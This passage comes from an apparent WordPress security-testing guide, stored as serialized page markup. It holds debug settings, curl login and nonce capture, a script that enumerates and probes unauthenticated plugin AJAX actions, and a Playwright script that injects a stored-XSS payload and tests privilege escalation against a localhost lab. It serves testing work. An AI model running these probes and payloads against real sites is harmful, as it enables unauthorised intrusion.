$wpdb->queries;\n",[36,28762,28763],{"class":38,"line":144},[36,28764,28765],{"class":53},"if ($queries) {\n",[36,28767,28768],{"class":38,"line":158},[36,28769,28770],{"class":53},"    usort($queries, function($a,$b){ return $b[1] \u003C=> $a[1]; });\n",[36,28772,28773],{"class":38,"line":255},[36,28774,28775],{"class":53},"    foreach(array_slice($queries, 0, 10) as $q) {\n",[36,28777,28778],{"class":38,"line":261},[36,28779,28780],{"class":53},"        echo round($q[1]*1000, 2) . \"ms: \" . substr($q[0], 0, 100) . \"\\n\";\n",[36,28782,28783],{"class":38,"line":267},[36,28784,1622],{"class":53},[36,28786,28787],{"class":38,"line":273},[36,28788,323],{"class":53},[36,28790,28791],{"class":38,"line":279},[36,28792,28746],{"class":53},[18,28794,28796],{"id":28795},"debugging-configuration","Debugging Configuration",[684,28798,28800],{"id":28799},"wp-configphp-debug-settings","wp-config.php Debug Settings",[26,28802,28804],{"className":177,"code":28803,"language":179,"meta":31,"style":31},"\u002F\u002F Add to wp-config.php or via docker environment:\n\n\u002F\u002F Enable all debugging\ndefine( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_LOG', true );         \u002F\u002F Log to wp-content\u002Fdebug.log\ndefine( 'WP_DEBUG_DISPLAY', false );    \u002F\u002F Don't show on frontend\ndefine( 'SAVEQUERIES', true );          \u002F\u002F Save all DB queries\n\n\u002F\u002F Script debugging (loads unminified JS\u002FCSS)\ndefine( 'SCRIPT_DEBUG', true );\n\n\u002F\u002F Direct filesystem method (no FTP prompts)\ndefine( 'FS_METHOD', 'direct' );\n\n\u002F\u002F Disable fatal error handler (see actual errors)\ndefine( 'WP_DISABLE_FATAL_ERROR_HANDLER', true );\n\n\u002F\u002F Increase memory for complex operations\ndefine( 'WP_MEMORY_LIMIT', '256M' );\n\n\u002F\u002F Disable cron (run manually during testing)\ndefine( 'DISABLE_WP_CRON', true );\n\n\u002F\u002F Concatenate scripts off (easier JS debugging)\ndefine( 'CONCATENATE_SCRIPTS', false );\n",[33,28805,28806,28811,28815,28820,28825,28830,28835,28840,28844,28849,28854,28858,28863,28868,28872,28877,28882,28886,28891,28896,28900,28905,28910,28914,28919],{"__ignoreMap":31},[36,28807,28808],{"class":38,"line":39},[36,28809,28810],{},"\u002F\u002F Add to wp-config.php or via docker environment:\n",[36,28812,28813],{"class":38,"line":46},[36,28814,61],{"emptyLinePlaceholder":60},[36,28816,28817],{"class":38,"line":57},[36,28818,28819],{},"\u002F\u002F Enable all debugging\n",[36,28821,28822],{"class":38,"line":64},[36,28823,28824],{},"define( 'WP_DEBUG', true );\n",[36,28826,28827],{"class":38,"line":70},[36,28828,28829],{},"define( 'WP_DEBUG_LOG', true );         \u002F\u002F Log to wp-content\u002Fdebug.log\n",[36,28831,28832],{"class":38,"line":78},[36,28833,28834],{},"define( 'WP_DEBUG_DISPLAY', false );    \u002F\u002F Don't show on frontend\n",[36,28836,28837],{"class":38,"line":83},[36,28838,28839],{},"define( 'SAVEQUERIES', true );          \u002F\u002F Save all DB queries\n",[36,28841,28842],{"class":38,"line":89},[36,28843,61],{"emptyLinePlaceholder":60},[36,28845,28846],{"class":38,"line":115},[36,28847,28848],{},"\u002F\u002F Script debugging (loads unminified JS\u002FCSS)\n",[36,28850,28851],{"class":38,"line":133},[36,28852,28853],{},"define( 'SCRIPT_DEBUG', true );\n",[36,28855,28856],{"class":38,"line":138},[36,28857,61],{"emptyLinePlaceholder":60},[36,28859,28860],{"class":38,"line":144},[36,28861,28862],{},"\u002F\u002F Direct filesystem method (no FTP prompts)\n",[36,28864,28865],{"class":38,"line":158},[36,28866,28867],{},"define( 'FS_METHOD', 'direct' );\n",[36,28869,28870],{"class":38,"line":255},[36,28871,61],{"emptyLinePlaceholder":60},[36,28873,28874],{"class":38,"line":261},[36,28875,28876],{},"\u002F\u002F Disable fatal error handler (see actual errors)\n",[36,28878,28879],{"class":38,"line":267},[36,28880,28881],{},"define( 'WP_DISABLE_FATAL_ERROR_HANDLER', true );\n",[36,28883,28884],{"class":38,"line":273},[36,28885,61],{"emptyLinePlaceholder":60},[36,28887,28888],{"class":38,"line":279},[36,28889,28890],{},"\u002F\u002F Increase memory for complex operations\n",[36,28892,28893],{"class":38,"line":285},[36,28894,28895],{},"define( 'WP_MEMORY_LIMIT', '256M' );\n",[36,28897,28898],{"class":38,"line":291},[36,28899,61],{"emptyLinePlaceholder":60},[36,28901,28902],{"class":38,"line":297},[36,28903,28904],{},"\u002F\u002F Disable cron (run manually during testing)\n",[36,28906,28907],{"class":38,"line":303},[36,28908,28909],{},"define( 'DISABLE_WP_CRON', true );\n",[36,28911,28912],{"class":38,"line":308},[36,28913,61],{"emptyLinePlaceholder":60},[36,28915,28916],{"class":38,"line":314},[36,28917,28918],{},"\u002F\u002F Concatenate scripts off (easier JS debugging)\n",[36,28920,28921],{"class":38,"line":320},[36,28922,28923],{},"define( 'CONCATENATE_SCRIPTS', false );\n",[684,28925,28927],{"id":28926},"query-monitoring","Query Monitoring",[26,28929,28931],{"className":28,"code":28930,"language":30,"meta":31,"style":31},"# Enable query logging via wp-config.php then check queries\ndocker compose exec wordpress wp eval '\nglobal $wpdb;\n\u002F\u002F Print all queries so far\nforeach ($wpdb->queries as $q) {\n    printf(\"[%.4f ms] %s\\n\", $q[1]*1000, $q[0]);\n}\n' --allow-root\n\n# Monitor MySQL slow query log\ndocker compose exec db bash -c \\\n  \"mysql -u root -prootpassword -e 'SET GLOBAL slow_query_log = ON; SET GLOBAL long_query_time = 0;'\"\ndocker compose exec db tail -f \u002Fvar\u002Flib\u002Fmysql\u002Fmysql-slow.log\n",[33,28932,28933,28938,28955,28959,28964,28969,28974,28978,28985,28989,28994,29012,29017],{"__ignoreMap":31},[36,28934,28935],{"class":38,"line":39},[36,28936,28937],{"class":42},"# Enable query logging via wp-config.php then check queries\n",[36,28939,28940,28942,28944,28946,28948,28950,28952],{"class":38,"line":46},[36,28941,27091],{"class":49},[36,28943,27094],{"class":53},[36,28945,27118],{"class":53},[36,28947,27121],{"class":53},[36,28949,27124],{"class":53},[36,28951,17165],{"class":53},[36,28953,28954],{"class":53}," '\n",[36,28956,28957],{"class":38,"line":57},[36,28958,9660],{"class":53},[36,28960,28961],{"class":38,"line":64},[36,28962,28963],{"class":53},"\u002F\u002F Print all queries so far\n",[36,28965,28966],{"class":38,"line":70},[36,28967,28968],{"class":53},"foreach ($wpdb->queries as $q) {\n",[36,28970,28971],{"class":38,"line":78},[36,28972,28973],{"class":53},"    printf(\"[%.4f ms] %s\\n\", $q[1]*1000, $q[0]);\n",[36,28975,28976],{"class":38,"line":83},[36,28977,323],{"class":53},[36,28979,28980,28983],{"class":38,"line":89},[36,28981,28982],{"class":53},"'",[36,28984,28133],{"class":95},[36,28986,28987],{"class":38,"line":115},[36,28988,61],{"emptyLinePlaceholder":60},[36,28990,28991],{"class":38,"line":133},[36,28992,28993],{"class":42},"# Monitor MySQL slow query log\n",[36,28995,28996,28998,29000,29002,29005,29008,29010],{"class":38,"line":138},[36,28997,27091],{"class":49},[36,28999,27094],{"class":53},[36,29001,27118],{"class":53},[36,29003,29004],{"class":53}," db",[36,29006,29007],{"class":53}," bash",[36,29009,164],{"class":95},[36,29011,155],{"class":95},[36,29013,29014],{"class":38,"line":144},[36,29015,29016],{"class":53},"  \"mysql -u root -prootpassword -e 'SET GLOBAL slow_query_log = ON; SET GLOBAL long_query_time = 0;'\"\n",[36,29018,29019,29021,29023,29025,29027,29029,29031],{"class":38,"line":158},[36,29020,27091],{"class":49},[36,29022,27094],{"class":53},[36,29024,27118],{"class":53},[36,29026,29004],{"class":53},[36,29028,21477],{"class":53},[36,29030,28710],{"class":95},[36,29032,29033],{"class":53}," \u002Fvar\u002Flib\u002Fmysql\u002Fmysql-slow.log\n",[18,29035,29037],{"id":29036},"testing-with-curl","Testing with curl",[684,29039,29041],{"id":29040},"authentication-and-session-management","Authentication and Session Management",[26,29043,29045],{"className":28,"code":29044,"language":30,"meta":31,"style":31},"TARGET=\"http:\u002F\u002Flocalhost:8080\"\n\n# Login and capture cookies\ncurl -s -c \u002Ftmp\u002Fwp_admin.txt \\\n  -d 'log=admin&pwd=Admin_Password_123!&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' \\\n  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' \\\n  \"$TARGET\u002Fwp-login.php\" -L -o \u002Fdev\u002Fnull -w \"HTTP %{http_code}\\n\"\n\n# Verify login worked\ncurl -s -b \u002Ftmp\u002Fwp_admin.txt \"$TARGET\u002Fwp-admin\u002F\" -o \u002Fdev\u002Fnull -w \"HTTP %{http_code}\\n\"\n\n# Get REST API nonce for an authenticated session\nNONCE=$(curl -s -b \u002Ftmp\u002Fwp_admin.txt \"$TARGET\u002Fwp-admin\u002F\" | \\\n  grep -oP '\"nonce\":\"?\\K[a-f0-9]+\"?' | head -1 | tr -d '\"')\necho \"Admin nonce: $NONCE\"\n",[33,29046,29047,29055,29059,29064,29077,29086,29094,29114,29118,29123,29147,29151,29156,29182,29209],{"__ignoreMap":31},[36,29048,29049,29051,29053],{"class":38,"line":39},[36,29050,1886],{"class":605},[36,29052,1220],{"class":102},[36,29054,27467],{"class":53},[36,29056,29057],{"class":38,"line":46},[36,29058,61],{"emptyLinePlaceholder":60},[36,29060,29061],{"class":38,"line":57},[36,29062,29063],{"class":42},"# Login and capture cookies\n",[36,29065,29066,29068,29070,29072,29075],{"class":38,"line":64},[36,29067,92],{"class":49},[36,29069,96],{"class":95},[36,29071,164],{"class":95},[36,29073,29074],{"class":53}," \u002Ftmp\u002Fwp_admin.txt",[36,29076,155],{"class":95},[36,29078,29079,29081,29084],{"class":38,"line":70},[36,29080,818],{"class":95},[36,29082,29083],{"class":53}," 'log=admin&pwd=Admin_Password_123!&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1'",[36,29085,155],{"class":95},[36,29087,29088,29090,29092],{"class":38,"line":78},[36,29089,755],{"class":95},[36,29091,13308],{"class":53},[36,29093,155],{"class":95},[36,29095,29096,29098,29100,29102,29105,29107,29109,29111],{"class":38,"line":83},[36,29097,3113],{"class":53},[36,29099,1911],{"class":605},[36,29101,15207],{"class":53},[36,29103,29104],{"class":95}," -L",[36,29106,2107],{"class":95},[36,29108,2110],{"class":53},[36,29110,2113],{"class":95},[36,29112,29113],{"class":53}," \"HTTP %{http_code}\\n\"\n",[36,29115,29116],{"class":38,"line":89},[36,29117,61],{"emptyLinePlaceholder":60},[36,29119,29120],{"class":38,"line":115},[36,29121,29122],{"class":42},"# Verify login worked\n",[36,29124,29125,29127,29129,29131,29133,29135,29137,29139,29141,29143,29145],{"class":38,"line":133},[36,29126,92],{"class":49},[36,29128,96],{"class":95},[36,29130,709],{"class":95},[36,29132,29074],{"class":53},[36,29134,625],{"class":53},[36,29136,1911],{"class":605},[36,29138,20036],{"class":53},[36,29140,2107],{"class":95},[36,29142,2110],{"class":53},[36,29144,2113],{"class":95},[36,29146,29113],{"class":53},[36,29148,29149],{"class":38,"line":138},[36,29150,61],{"emptyLinePlaceholder":60},[36,29152,29153],{"class":38,"line":144},[36,29154,29155],{"class":42},"# Get REST API nonce for an authenticated session\n",[36,29157,29158,29160,29162,29164,29166,29168,29170,29172,29174,29176,29178,29180],{"class":38,"line":158},[36,29159,5752],{"class":605},[36,29161,1220],{"class":102},[36,29163,1358],{"class":605},[36,29165,92],{"class":49},[36,29167,96],{"class":95},[36,29169,709],{"class":95},[36,29171,29074],{"class":53},[36,29173,625],{"class":53},[36,29175,1911],{"class":605},[36,29177,20036],{"class":53},[36,29179,103],{"class":102},[36,29181,155],{"class":95},[36,29183,29184,29186,29188,29191,29193,29195,29197,29199,29202,29204,29207],{"class":38,"line":255},[36,29185,552],{"class":49},[36,29187,726],{"class":95},[36,29189,29190],{"class":53}," '\"nonce\":\"?\\K[a-f0-9]+\"?'",[36,29192,103],{"class":102},[36,29194,5296],{"class":49},[36,29196,6454],{"class":95},[36,29198,103],{"class":102},[36,29200,29201],{"class":49}," tr",[36,29203,14427],{"class":95},[36,29205,29206],{"class":53}," '\"'",[36,29208,1385],{"class":605},[36,29210,29211,29213,29216,29218],{"class":38,"line":261},[36,29212,1226],{"class":95},[36,29214,29215],{"class":53}," \"Admin nonce: ",[36,29217,5806],{"class":605},[36,29219,668],{"class":53},[684,29221,29223],{"id":29222},"comprehensive-ajax-testing-script","Comprehensive AJAX Testing Script",[26,29225,29227],{"className":28,"code":29226,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\n# test-ajax-endpoints.sh\nTARGET=\"${1:-http:\u002F\u002Flocalhost:8080}\"\nCOOKIES=\"${2:-\u002Ftmp\u002Fwp_admin.txt}\"\n\necho \"Testing AJAX endpoints on $TARGET\"\necho \"Using cookies from: $COOKIES\"\n\n# Get all actions from installed plugins\nPLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\"\nACTIONS=$(docker compose exec wordpress find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins -name \"*.php\" \\\n  -exec grep -ohP \"wp_ajax_nopriv_\\K[^'\\\"]+\" {} \\; 2>\u002Fdev\u002Fnull | sort -u)\n\nfor action in $ACTIONS; do\n    RESPONSE=$(curl -s -m 5 -X POST \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n      -d \"action=$action\" 2>\u002Fdev\u002Fnull)\n    HTTP_CODE=$(curl -s -m 5 -o \u002Fdev\u002Fnull -w \"%{http_code}\" -X POST \\\n      \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" -d \"action=$action\" 2>\u002Fdev\u002Fnull)\n    \n    if [ \"$RESPONSE\" != \"0\" ] && [ \"$RESPONSE\" != \"-1\" ] && [ -n \"$RESPONSE\" ]; then\n        echo \"[INTERESTING] $action (HTTP $HTTP_CODE): $(echo \"$RESPONSE\" | head -c 150)\"\n    fi\ndone\n",[33,29228,29229,29233,29238,29267,29297,29301,29312,29323,29327,29332,29340,29368,29402,29406,29418,29446,29462,29493,29515,29519,29565,29602,29606],{"__ignoreMap":31},[36,29230,29231],{"class":38,"line":39},[36,29232,4257],{"class":42},[36,29234,29235],{"class":38,"line":46},[36,29236,29237],{"class":42},"# test-ajax-endpoints.sh\n",[36,29239,29240,29242,29244,29246,29248,29251,29254,29257,29260,29262,29265],{"class":38,"line":57},[36,29241,1886],{"class":605},[36,29243,1220],{"class":102},[36,29245,631],{"class":53},[36,29247,22722],{"class":95},[36,29249,29250],{"class":102},":-",[36,29252,29253],{"class":605},"http",[36,29255,29256],{"class":102},":\u002F\u002F",[36,29258,29259],{"class":605},"localhost",[36,29261,375],{"class":102},[36,29263,29264],{"class":95},"8080}",[36,29266,668],{"class":53},[36,29268,29269,29271,29273,29275,29278,29280,29283,29285,29288,29290,29293,29295],{"class":38,"line":64},[36,29270,25675],{"class":605},[36,29272,1220],{"class":102},[36,29274,631],{"class":53},[36,29276,29277],{"class":95},"${2",[36,29279,22725],{"class":102},[36,29281,29282],{"class":605},"tmp",[36,29284,11648],{"class":102},[36,29286,29287],{"class":605},"wp_admin",[36,29289,13246],{"class":53},[36,29291,29292],{"class":605},"txt",[36,29294,22754],{"class":95},[36,29296,668],{"class":53},[36,29298,29299],{"class":38,"line":70},[36,29300,61],{"emptyLinePlaceholder":60},[36,29302,29303,29305,29308,29310],{"class":38,"line":78},[36,29304,1226],{"class":95},[36,29306,29307],{"class":53}," \"Testing AJAX endpoints on ",[36,29309,1911],{"class":605},[36,29311,668],{"class":53},[36,29313,29314,29316,29319,29321],{"class":38,"line":83},[36,29315,1226],{"class":95},[36,29317,29318],{"class":53}," \"Using cookies from: ",[36,29320,25794],{"class":605},[36,29322,668],{"class":53},[36,29324,29325],{"class":38,"line":89},[36,29326,61],{"emptyLinePlaceholder":60},[36,29328,29329],{"class":38,"line":115},[36,29330,29331],{"class":42},"# Get all actions from installed plugins\n",[36,29333,29334,29336,29338],{"class":38,"line":133},[36,29335,2415],{"class":605},[36,29337,1220],{"class":102},[36,29339,4274],{"class":53},[36,29341,29342,29344,29346,29348,29350,29352,29354,29356,29359,29362,29364,29366],{"class":38,"line":138},[36,29343,4288],{"class":605},[36,29345,1220],{"class":102},[36,29347,1358],{"class":605},[36,29349,27091],{"class":49},[36,29351,27094],{"class":53},[36,29353,27118],{"class":53},[36,29355,27121],{"class":53},[36,29357,29358],{"class":53}," find",[36,29360,29361],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins",[36,29363,21435],{"class":95},[36,29365,21438],{"class":53},[36,29367,155],{"class":95},[36,29369,29370,29373,29375,29378,29380,29382,29385,29387,29390,29392,29394,29396,29398,29400],{"class":38,"line":144},[36,29371,29372],{"class":95},"  -exec",[36,29374,617],{"class":53},[36,29376,29377],{"class":95}," -ohP",[36,29379,3005],{"class":53},[36,29381,1498],{"class":95},[36,29383,29384],{"class":53},"]+\"",[36,29386,21470],{"class":53},[36,29388,29389],{"class":95}," \\;",[36,29391,22331],{"class":102},[36,29393,22334],{"class":53},[36,29395,103],{"class":102},[36,29397,4330],{"class":49},[36,29399,467],{"class":95},[36,29401,1385],{"class":605},[36,29403,29404],{"class":38,"line":158},[36,29405,61],{"emptyLinePlaceholder":60},[36,29407,29408,29410,29412,29414,29416],{"class":38,"line":255},[36,29409,1325],{"class":102},[36,29411,4352],{"class":605},[36,29413,1331],{"class":102},[36,29415,4357],{"class":605},[36,29417,609],{"class":102},[36,29419,29420,29422,29424,29426,29428,29430,29432,29434,29436,29438,29440,29442,29444],{"class":38,"line":261},[36,29421,1353],{"class":605},[36,29423,1220],{"class":102},[36,29425,1358],{"class":605},[36,29427,92],{"class":49},[36,29429,96],{"class":95},[36,29431,109],{"class":95},[36,29433,10524],{"class":95},[36,29435,792],{"class":95},[36,29437,795],{"class":53},[36,29439,625],{"class":53},[36,29441,1911],{"class":605},[36,29443,4404],{"class":53},[36,29445,155],{"class":95},[36,29447,29448,29450,29452,29454,29456,29458,29460],{"class":38,"line":267},[36,29449,4411],{"class":95},[36,29451,4414],{"class":53},[36,29453,2797],{"class":605},[36,29455,631],{"class":53},[36,29457,22331],{"class":102},[36,29459,22334],{"class":53},[36,29461,1385],{"class":605},[36,29463,29464,29467,29469,29471,29473,29475,29477,29479,29481,29483,29485,29487,29489,29491],{"class":38,"line":273},[36,29465,29466],{"class":605},"    HTTP_CODE",[36,29468,1220],{"class":102},[36,29470,1358],{"class":605},[36,29472,92],{"class":49},[36,29474,96],{"class":95},[36,29476,109],{"class":95},[36,29478,10524],{"class":95},[36,29480,2107],{"class":95},[36,29482,2110],{"class":53},[36,29484,2113],{"class":95},[36,29486,2116],{"class":53},[36,29488,792],{"class":95},[36,29490,795],{"class":53},[36,29492,155],{"class":95},[36,29494,29495,29497,29499,29501,29503,29505,29507,29509,29511,29513],{"class":38,"line":279},[36,29496,15343],{"class":53},[36,29498,1911],{"class":605},[36,29500,4404],{"class":53},[36,29502,14427],{"class":95},[36,29504,4414],{"class":53},[36,29506,2797],{"class":605},[36,29508,631],{"class":53},[36,29510,22331],{"class":102},[36,29512,22334],{"class":53},[36,29514,1385],{"class":605},[36,29516,29517],{"class":38,"line":285},[36,29518,16191],{"class":605},[36,29520,29521,29523,29525,29527,29529,29531,29534,29537,29540,29542,29544,29546,29548,29551,29553,29555,29557,29559,29561,29563],{"class":38,"line":291},[36,29522,614],{"class":102},[36,29524,6463],{"class":605},[36,29526,631],{"class":53},[36,29528,1397],{"class":605},[36,29530,631],{"class":53},[36,29532,29533],{"class":102}," !=",[36,29535,29536],{"class":53}," \"0\"",[36,29538,29539],{"class":605}," ] && [ ",[36,29541,631],{"class":53},[36,29543,1397],{"class":605},[36,29545,631],{"class":53},[36,29547,29533],{"class":102},[36,29549,29550],{"class":53}," \"-1\"",[36,29552,29539],{"class":605},[36,29554,6466],{"class":102},[36,29556,625],{"class":53},[36,29558,1397],{"class":605},[36,29560,631],{"class":53},[36,29562,6476],{"class":605},[36,29564,655],{"class":102},[36,29566,29567,29569,29572,29574,29577,29580,29583,29585,29587,29589,29591,29593,29595,29597,29600],{"class":38,"line":297},[36,29568,660],{"class":95},[36,29570,29571],{"class":53}," \"[INTERESTING] ",[36,29573,2797],{"class":605},[36,29575,29576],{"class":53}," (HTTP ",[36,29578,29579],{"class":605},"$HTTP_CODE",[36,29581,29582],{"class":53},"): $(",[36,29584,1226],{"class":95},[36,29586,625],{"class":53},[36,29588,1397],{"class":605},[36,29590,25881],{"class":53},[36,29592,1235],{"class":102},[36,29594,5296],{"class":49},[36,29596,164],{"class":95},[36,29598,29599],{"class":95}," 150",[36,29601,1241],{"class":53},[36,29603,29604],{"class":38,"line":303},[36,29605,673],{"class":102},[36,29607,29608],{"class":38,"line":308},[36,29609,678],{"class":102},[18,29611,29613],{"id":29612},"playwright-automation-for-security-testing","Playwright Automation for Security Testing",[14,29615,29616],{},"Playwright is ideal for testing JavaScript-dependent XSS, DOM-based vulnerabilities, and complex multi-step flows.",[684,29618,29620],{"id":29619},"basic-setup","Basic Setup",[26,29622,29624],{"className":28,"code":29623,"language":30,"meta":31,"style":31},"npm install playwright\nnpx playwright install chromium\n",[33,29625,29626,29636],{"__ignoreMap":31},[36,29627,29628,29631,29633],{"class":38,"line":39},[36,29629,29630],{"class":49},"npm",[36,29632,27962],{"class":53},[36,29634,29635],{"class":53}," playwright\n",[36,29637,29638,29641,29644,29646],{"class":38,"line":46},[36,29639,29640],{"class":49},"npx",[36,29642,29643],{"class":53}," playwright",[36,29645,27962],{"class":53},[36,29647,29648],{"class":53}," chromium\n",[684,29650,29652],{"id":29651},"security-testing-script","Security Testing Script",[26,29654,29656],{"className":19093,"code":29655,"language":19095,"meta":31,"style":31},"\u002F\u002F wp-security-test.js\nconst { chromium } = require('playwright');\n\nconst TARGET = 'http:\u002F\u002Flocalhost:8080';\nconst CREDS = { admin: 'Admin_Password_123!' };\n\nasync function loginAsAdmin(page) {\n    await page.goto(`${TARGET}\u002Fwp-login.php`);\n    await page.fill('#user_login', 'admin');\n    await page.fill('#user_pass', CREDS.admin);\n    await page.click('#wp-submit');\n    await page.waitForURL(`${TARGET}\u002Fwp-admin\u002F`);\n    console.log('Logged in as admin');\n}\n\nasync function getNonce(page, action) {\n    \u002F\u002F Get nonce for a specific action from admin page\n    const nonce = await page.evaluate(async (action) => {\n        const resp = await fetch('\u002Fwp-admin\u002Fadmin-ajax.php', {\n            method: 'POST',\n            body: new URLSearchParams({ action: 'get_nonce', nonce_action: action }),\n        });\n        const data = await resp.json();\n        return data.nonce;\n    }, action);\n    return nonce;\n}\n\nasync function testStoredXSS(page) {\n    console.log('\\nTesting stored XSS via plugin settings...');\n    \n    \u002F\u002F Inject XSS payload into plugin settings as subscriber\n    await page.goto(`${TARGET}\u002Fwp-login.php`);\n    await page.fill('#user_login', 'subscriber');\n    await page.fill('#user_pass', 'subscriber_pass');\n    await page.click('#wp-submit');\n    \n    const response = await page.evaluate(async () => {\n        return fetch('\u002Fwp-admin\u002Fadmin-ajax.php', {\n            method: 'POST',\n            credentials: 'include',\n            body: new URLSearchParams({\n                action: 'save_user_bio',\n                bio: '\u003Cscript>window.__xss_fired=true;\u003C\u002Fscript>',\n            }),\n        }).then(r => r.json());\n    });\n    \n    console.log('Save response:', response);\n    \n    \u002F\u002F Now visit as admin and check if XSS fires\n    await loginAsAdmin(page);\n    \n    \u002F\u002F Set up XSS detection\n    let xssFired = false;\n    page.on('dialog', async dialog => {\n        xssFired = true;\n        console.log('XSS dialog fired:', dialog.message());\n        await dialog.accept();\n    });\n    \n    await page.goto(`${TARGET}\u002Fwp-admin\u002Fusers.php`);\n    await page.waitForTimeout(1000);\n    \n    const xssInDom = await page.evaluate(() => window.__xss_fired);\n    console.log('XSS fired:', xssFired || xssInDom);\n}\n\nasync function testPrivilegeEscalation(page) {\n    console.log('\\nTesting privilege escalation...');\n    \n    \u002F\u002F Login as subscriber\n    await page.goto(`${TARGET}\u002Fwp-login.php`);\n    await page.fill('#user_login', 'subscriber');\n    await page.fill('#user_pass', 'subscriber_pass');\n    await page.click('#wp-submit');\n    \n    \u002F\u002F Try to access admin pages\n    const tests = [\n        { url: '\u002Fwp-admin\u002F', expect: '\u002Fwp-admin\u002F$', name: 'Admin Dashboard' },\n        { url: '\u002Fwp-admin\u002Foptions-general.php', expect: 'General Settings', name: 'Settings' },\n        { url: '\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers', expect: 'id', name: 'User Enumeration' },\n    ];\n    \n    for (const test of tests) {\n        const response = await page.goto(`${TARGET}${test.url}`);\n        const content = await page.content();\n        \n        if (response.url().includes(test.expect) || content.includes(test.expect)) {\n            console.log(`[FINDING] ${test.name}: Accessible to subscriber`);\n        } else {\n            console.log(`[OK] ${test.name}: Properly restricted`);\n        }\n    }\n}\n\nasync function main() {\n    const browser = await chromium.launch({\n        headless: true,\n        args: ['--no-sandbox'],\n    });\n    \n    const page = await browser.newPage();\n    \n    \u002F\u002F Intercept all requests for logging\n    page.on('request', req => {\n        if (req.method() === 'POST') {\n            console.log(`POST ${req.url()}`);\n        }\n    });\n    \n    try {\n        await testStoredXSS(page);\n        await testPrivilegeEscalation(page);\n    } finally {\n        await browser.close();\n    }\n}\n\nmain().catch(console.error);\n",[33,29657,29658,29663,29688,29692,29706,29724,29728,29745,29767,29788,29809,29825,29845,29860,29864,29868,29887,29892,29921,29942,29951,29970,29975,29993,30001,30006,30014,30018,30022,30037,30055,30059,30064,30082,30101,30120,30134,30138,30163,30175,30183,30192,30202,30212,30222,30227,30247,30251,30255,30269,30273,30278,30287,30291,30296,30311,30335,30346,30366,30379,30383,30388,30408,30425,30430,30454,30475,30480,30485,30501,30519,30524,30530,30549,30568,30587,30602,30607,30613,30626,30650,30670,30690,30695,30700,30718,30754,30773,30779,30808,30833,30844,30867,30872,30877,30882,30887,30899,30919,30929,30941,30946,30951,30971,30976,30982,31003,31025,31050,31055,31060,31065,31073,31082,31091,31102,31114,31119,31124,31129],{"__ignoreMap":31},[36,29659,29660],{"class":38,"line":39},[36,29661,29662],{"class":42},"\u002F\u002F wp-security-test.js\n",[36,29664,29665,29667,29670,29673,29676,29678,29681,29683,29686],{"class":38,"line":46},[36,29666,25334],{"class":102},[36,29668,29669],{"class":605}," { ",[36,29671,29672],{"class":95},"chromium",[36,29674,29675],{"class":605}," } ",[36,29677,1220],{"class":102},[36,29679,29680],{"class":49}," require",[36,29682,18300],{"class":605},[36,29684,29685],{"class":53},"'playwright'",[36,29687,9831],{"class":605},[36,29689,29690],{"class":38,"line":57},[36,29691,61],{"emptyLinePlaceholder":60},[36,29693,29694,29696,29699,29701,29704],{"class":38,"line":64},[36,29695,25334],{"class":102},[36,29697,29698],{"class":95}," TARGET",[36,29700,24948],{"class":102},[36,29702,29703],{"class":53}," 'http:\u002F\u002Flocalhost:8080'",[36,29705,24100],{"class":605},[36,29707,29708,29710,29713,29715,29718,29721],{"class":38,"line":70},[36,29709,25334],{"class":102},[36,29711,29712],{"class":95}," CREDS",[36,29714,24948],{"class":102},[36,29716,29717],{"class":605}," { admin: ",[36,29719,29720],{"class":53},"'Admin_Password_123!'",[36,29722,29723],{"class":605}," };\n",[36,29725,29726],{"class":38,"line":78},[36,29727,61],{"emptyLinePlaceholder":60},[36,29729,29730,29732,29735,29738,29740,29743],{"class":38,"line":83},[36,29731,24924],{"class":102},[36,29733,29734],{"class":102}," function",[36,29736,29737],{"class":49}," loginAsAdmin",[36,29739,18300],{"class":605},[36,29741,29742],{"class":23889},"page",[36,29744,26035],{"class":605},[36,29746,29747,29749,29752,29755,29757,29760,29762,29765],{"class":38,"line":89},[36,29748,25291],{"class":102},[36,29750,29751],{"class":605}," page.",[36,29753,29754],{"class":49},"goto",[36,29756,18300],{"class":605},[36,29758,29759],{"class":53},"`${",[36,29761,1886],{"class":95},[36,29763,29764],{"class":53},"}\u002Fwp-login.php`",[36,29766,9831],{"class":605},[36,29768,29769,29771,29773,29776,29778,29781,29783,29786],{"class":38,"line":115},[36,29770,25291],{"class":102},[36,29772,29751],{"class":605},[36,29774,29775],{"class":49},"fill",[36,29777,18300],{"class":605},[36,29779,29780],{"class":53},"'#user_login'",[36,29782,13002],{"class":605},[36,29784,29785],{"class":53},"'admin'",[36,29787,9831],{"class":605},[36,29789,29790,29792,29794,29796,29798,29801,29803,29806],{"class":38,"line":133},[36,29791,25291],{"class":102},[36,29793,29751],{"class":605},[36,29795,29775],{"class":49},[36,29797,18300],{"class":605},[36,29799,29800],{"class":53},"'#user_pass'",[36,29802,13002],{"class":605},[36,29804,29805],{"class":95},"CREDS",[36,29807,29808],{"class":605},".admin);\n",[36,29810,29811,29813,29815,29818,29820,29823],{"class":38,"line":138},[36,29812,25291],{"class":102},[36,29814,29751],{"class":605},[36,29816,29817],{"class":49},"click",[36,29819,18300],{"class":605},[36,29821,29822],{"class":53},"'#wp-submit'",[36,29824,9831],{"class":605},[36,29826,29827,29829,29831,29834,29836,29838,29840,29843],{"class":38,"line":144},[36,29828,25291],{"class":102},[36,29830,29751],{"class":605},[36,29832,29833],{"class":49},"waitForURL",[36,29835,18300],{"class":605},[36,29837,29759],{"class":53},[36,29839,1886],{"class":95},[36,29841,29842],{"class":53},"}\u002Fwp-admin\u002F`",[36,29844,9831],{"class":605},[36,29846,29847,29850,29853,29855,29858],{"class":38,"line":158},[36,29848,29849],{"class":605},"    console.",[36,29851,29852],{"class":49},"log",[36,29854,18300],{"class":605},[36,29856,29857],{"class":53},"'Logged in as 